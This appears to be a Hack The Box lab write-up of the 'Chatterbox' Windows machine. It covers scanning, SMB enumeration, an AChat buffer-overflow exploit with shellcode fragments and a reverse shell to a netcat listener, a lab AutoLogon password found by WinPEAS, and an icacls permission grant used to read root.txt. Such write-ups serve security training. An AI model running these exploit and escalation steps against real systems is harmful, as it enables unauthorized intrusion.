HTB-Chatterbox

Chatterbox was more like an Easy level Windows box. I first gained initial foothold by exploiting AChat server with Buffer Overflow. For privilege escalation, user alfred had full access to most of the directories in Administrator folder which I abuse to change permission for root.txt to read.

Information Gathering

Rustscan

Rustscan finds several ports open including port 9255 and 9256 which is uncommon:

```
┌──(yoon㉿kali)-[~/Documents/htb/chatterbox]
└─$ rustscan --addresses 10.10.10.74 --range 1-65535
.----. .-. .-. .----..---.  .----. .---.   .--.  .-. .-.
| {}  }| { } |{ {__ {_   _}{ {__  /  ___} / {} \ |  `| |
| .-. \| {_} |.-._} } | |  .-._} }\     }/  /\  \| |\  |
`-' `-'`-----'`----'  `-'  `----'  `---' `-'  `-'`-' `-'
```

```
The Modern Day Port Scanner.

_____________________________________
: https://discord.gg/GFrQsGy           :
: https://github.com/RustScan/RustScan :
 --------------------------------------
😵 https://admin.tryhackme.com
<snip>
Host is up, received conn-refused (0.36s latency).
Scanned at 2024-04-22 12:15:47 EDT for 3s

PORT      STATE    SERVICE      REASON
139/tcp   filtered netbios-ssn  no-response
445/tcp   open     microsoft-ds syn-ack
9255/tcp  open     mon          syn-ack
9256/tcp  open     unknown      syn-ack
49152/tcp open     unknown      syn-ack
49153/tcp open     unknown      syn-ack
49154/tcp open     unknown      syn-ack
49155/tcp open     unknown      syn-ack

Read data files from: /usr/bin/../share/nmap
Nmap done: 1 IP address (1 host up) scanned in 2.91 seconds
```

Nmap

Nmap script scan identifies AChat Chat system is running on port 9255:

```
┌──(yoon㉿kali)-[~/Documents/htb/chatte┌──(yoon㉿kali)-
[~/Documents/htb/chatterbox]
└─$ sudo nmap -sVC -p 139,445,9255,49152,49153,49154,49155 10.10.10.74
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-04-22 12:17 EDT
Nmap scan report for 10.10.10.74
Host is up (0.40s latency).

PORT      STATE SERVICE      VERSION
139/tcp   open  netbios-ssn  Microsoft Windows netbios-ssn
445/tcp   open  microsoft-ds Windows 7 Professional 7601 Service Pack 1
microsoft-ds (workgroup: WORKGROUP)
9255/tcp  open  http         AChat chat system httpd
49152/tcp open  msrpc        Microsoft Windows RPC
49153/tcp open  msrpc        Microsoft Windows RPC
49154/tcp open  msrpc        Microsoft Windows RPC
49155/tcp open  unknown
Service Info: Host: CHATTERBOX; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
|_clock-skew: mean: 6h15m47s, deviation: 2h18m37s, median: 4h55m45s
| smb2-security-mode:
|   2:1:0:
```

```
|_    Message signing enabled but not required
| smb2-time:
|   date: 2024-04-22T21:14:55
|_  start_date: 2024-04-22T21:08:29
| smb-os-discovery:
|   OS: Windows 7 Professional 7601 Service Pack 1 (Windows 7 Professional
6.1)
|   OS CPE: cpe:/o:microsoft:windows_7::sp1:professional
|   Computer name: Chatterbox
|   NetBIOS computer name: CHATTERBOX\x00
|   Workgroup: WORKGROUP\x00
|_  System time: 2024-04-22T17:14:56-04:00
| smb-security-mode:
|   account_used: guest
|   authentication_level: user
|   challenge_response: supported
|_  message_signing: disabled (dangerous, but default)

Service detection performed. Please report any incorrect results at
https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 96.64 seconds
```

Enumeration

SMB - TCP 445

I tried null login for SMB but it is not allowed:

```
┌──(yoon㉿kali)-[~/Documents/htb/chatterbox]
└─$ smbclient -N -L //10.10.10.74
Anonymous login successful

        Sharename       Type      Comment
        ---------       ----      -------
Reconnecting with SMB1 for workgroup listing.
do_connect: Connection to 10.10.10.74 failed (Error NT_STATUS_RESOURCE_N
AME_NOT_FOUND)
Unable to connect with SMB1 -- no workgroup available
```

Crackmapexec discovers computer name CHATTERBOX and that server is running on Windows 7 Professional:

```
┌──(yoon㉿kali)-[~/Documents/htb/chatterbox]
└─$ crackmapexec smb 10.10.10.74
SMB         10.10.10.74     445    CHATTERBOX       [*] Windows 7 Professional 7601 Service Pack 1
(name:CHATTERBOX) (domain:Chatterbox) (signing:False) (SMBv1:True)
```

Achat - TCP 9256

It seems that AChat is vulnerable to Buffer Overflow:

```
┌──(yoon㉿kali)-[~/Documents/htb/chatterbox]
└─$ searchsploit AChat
------------------------------------------------------------------------
 Exploit Title
------------------------------------------------------------------------
Achat 0.150 beta7 - Remote Buffer Overflow
Achat 0.150 beta7 - Remote Buffer Overflow (Metasploit)
MataChat - 'input.php' Multiple Cross-Site Scripting Vulnerabilities
Parachat 5.5 - Directory Traversal
------------------------------------------------------------------------
```

Shell as Alfred

AChat Bufferoverflow

I will use AChat-Reverse-TCP-Exploit that I found online.

Afer downloading both **AChat_payload.sh** and **AChat_Exploit.py** from the source above, I will first slightly modify AChat_payload.sh so that it will work with **nc**.

I can change the parameter `-p windows/meterpreter/reverse_tcp` to `-p windows/shell_reverse_tcp` to make it work with netcat.

After that, I will run it and input the correct value for RHOST, LHOST, and LPORT:

```
┌──(yoon㉿kali)-[~/Documents/htb/chatterbox]
└─$ ./AChat_payload.sh
RHOST: 10.10.10.74
LHOST: 10.10.14.21
LPORT: 1337
Found 1 compatible encoders
Attempting to encode payload with 1 iterations of x86/unicode_mixed
x86/unicode_mixed succeeded with size 774 (iteration=0)
x86/unicode_mixed chosen with final size 774
Payload size: 774 bytes
Final size of python file: 3822 bytes
buf =  b""
buf += b"\x50\x50\x59\x41\x49\x41\x49\x41\x49\x41\x49\x41"
buf += b"\x49\x41\x49\x41\x49\x41\x49\x41\x49\x41\x49\x41"
buf += b"\x49\x41\x49\x41\x49\x41\x49\x41\x6a\x58\x41\x51"
```

I will copy the output and paste it into **AChat_Exploit.py** as such:

```
#YOU WILL NEED TO PASTE THE OUTPUT FROM THE SHELL SCRIPT: "ACHAT_PAYLOAD.SH" BELOW:

buf =  b""
buf += b"\x50\x50\x59\x41\x49\x41\x49\x41\x49\x41\x49\x41"
buf += b"\x49\x41\x49\x41\x49\x41\x49\x41\x49\x41\x49\x41"
buf += b"\x49\x41\x49\x41\x49\x41\x49\x41\x6a\x58\x41\x51"
```

I will also modify the target server address:

```
server_address = ('10.10.10.74', 9256)
```

Now I can run the exploit with netcat listener running:

```
┌──(yoon㉿kali)-[~/Documents/htb/chatterbox]
└─$ python2 AChat_Exploit.py
[+] BUFFER OVERFLOW PAYLOAD RELEASED -- CHECK YOUR HANDLER
```

On my local listern, I have a shell as Alfred:

```
┌──(root㉿kali)-[/home/yoon/Documents/htb/chatterbox]
└─# rlwrap nc -lvnp 1337
listening on [any] 1337 ...
connect to [10.10.14.21] from (UNKNOWN) [10.10.10.74] 49160
Microsoft Windows [Version 6.1.7601]
Copyright (c) 2009 Microsoft Corporation.  All rights reserved.

C:\Windows\system32>whoami
whoami
chatterbox\alfred
```

Read root.txt

Running WinPEAS.exe found several interesting points.

AutoLogon credential for Alfred is discovered: **Welcome1!**

```
♦♦♦♦♦♦♦♦♦♦♦Looking for AutoLogon credentials
    Some AutoLogon credentials were found
    DefaultUserName               :  Alfred
    DefaultPassword               :  Welcome1!
```

It seems like Alfred got **AllAccess** to most of the Administrator directories:

```
File Permissions "c:\users\administrator\ntuser.dat.LOG2": Alfred [AllAccess]
File Permissions "c:\users\administrator\ntuser.dat.LOG1": Alfred [AllAccess]
File Permissions "c:\users\administrator\NTUSER.DAT": Alfred [AllAccess]
Folder Permissions "c:\users\administrator\Videos": Alfred [AllAccess]
Folder Permissions "c:\users\administrator\Templates": Alfred [AllAccess]
Folder Permissions "c:\users\administrator\Start Menu": Alfred [AllAccess]
Folder Permissions "c:\users\administrator\SendTo": Alfred [AllAccess]
Folder Permissions "c:\users\administrator\Searches": Alfred [AllAccess]
Folder Permissions "c:\users\administrator\Saved Games": Alfred [AllAccess]
Folder Permissions "c:\users\administrator\Recent": Alfred [AllAccess]
Folder Permissions "c:\users\administrator\PrintHood": Alfred [AllAccess]
Folder Permissions "c:\users\administrator\Pictures": Alfred [AllAccess]
Folder Permissions "c:\users\administrator\NetHood": Alfred [AllAccess]
Folder Permissions "c:\users\administrator\My Documents": Alfred [AllAccess]
Folder Permissions "c:\users\administrator\Music": Alfred [AllAccess]
```

I can list the directories but I can't read the root.txt:

```
C:\Windows\Temp>dir C:\Users\Administrator\Desktop
dir C:\Users\Administrator\Desktop
 Volume in drive C has no label.
 Volume Serial Number is 502F-F304

 Directory of C:\Users\Administrator\Desktop

12/10/2017  07:50 PM    <DIR>          .
12/10/2017  07:50 PM    <DIR>          ..
04/23/2024  05:13 AM                34 root.txt
               1 File(s)             34 bytes
               2 Dir(s)   3,670,171,648 bytes free

C:\Windows\Temp>type C:\Users\Administrator\Desktop\root.txt
type C:\Users\Administrator\Desktop\root.txt
Access is denied.
```

I can easily bypass this by giving Alfred read permission:

```
icacls "C:\Users\Administrator\Desktop\root.txt" /grant Alfred:R
```

```
C:\Windows\Temp>icacls "C:\Users\Administrator\Desktop\root.txt" /grant Alfred:R

icacls "C:\Users\Administrator\Desktop\root.txt" /grant Alfred:R
processed file: C:\Users\Administrator\Desktop\root.txt
Successfully processed 1 files; Failed processing 0 files
```

Now I can read root.txt.

References

- https://tenaka.gitbook.io/pentesting/boxes/achat
- https://github.com/mpgn/AChat-Reverse-TCP-Exploit